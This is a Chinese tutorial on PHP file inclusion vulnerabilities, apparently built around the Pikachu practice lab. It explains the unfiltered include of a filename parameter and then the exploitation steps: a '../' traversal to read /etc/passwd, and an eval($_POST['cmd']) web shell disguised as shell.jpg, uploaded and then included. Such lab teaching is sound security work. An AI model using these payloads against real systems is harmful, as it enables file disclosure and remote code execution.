常见的文件包含函数
- include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
- require():只要程序一运行就包含文件,找不到被包含的文件时产生致命错误,并停止脚本
- include_once()和require_once():若文件中代码已被包含则不会再次包含,只包含一次,再次包含的话就不会生效
如果文件包含过滤不严谨的话就会存在文件包含的漏洞
文件包含漏洞代码分析
使用皮卡丘靶场,可以看到这里会有一个文件引用
并且这里的filename
的值是可控的
去看一下他的代码是如何写的
这里有一个判断,我们只需要注意filename
这个参数,这里就判断这个参数是否为空
通过了判断,进入到if
方法里面,直接把filename
这个参数接收到的值赋值给$filename
这个变量
include "include/$filename";
然后就是直接include
包含$filename
变量的这个文件了
这里没有对filename
接收到的参数做任何的过滤
这里面就是一个file1.php
文件的内容,里面引用了一张图片
文件包含漏洞的利用方法
文件包含漏洞,需要引入上传的文件到网站目录,或者服务器内部的文件,而且权限必须是当前权限可读的才能引入进来,或者远程包含进来,但是远程包含需要条件,本地包含无需条件
本地包含文件
被包含的文件在本地
例如Linux
系统下面的/etc/passwd
文件
正常来说我们的引用就是直接输入/etc/passwd
但是可以看到程序的源码中写的是
include "include/$filename";
也就是我们如果filename参数输入/etc/passwd的话,那么程序包含的就是
include "include//etc/passwd";
这样肯定是包含不到的,所以我们还需要返回到根目录下面进行包含
include "include/../../../../../../../../../../etc/passwd";
这里的../
随便有多少个,因为当他返回到/
的时候再进行../
也可以,我们的目的就是为了到达/
目录
文件包含图片
寻找网站上传点,把php恶意代码文件改成jpg上传到网站上,本地包含引入恶意代码,当文件被引入之后代码就被执行
<?php phpinfo();eval($_POST['cmd']);?> 保存为shell.jpg
上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码
但是这个地方的图片路径需要根据当时的环境去逐个尝试
被包含之后里面的PHP
恶意代码就会被执行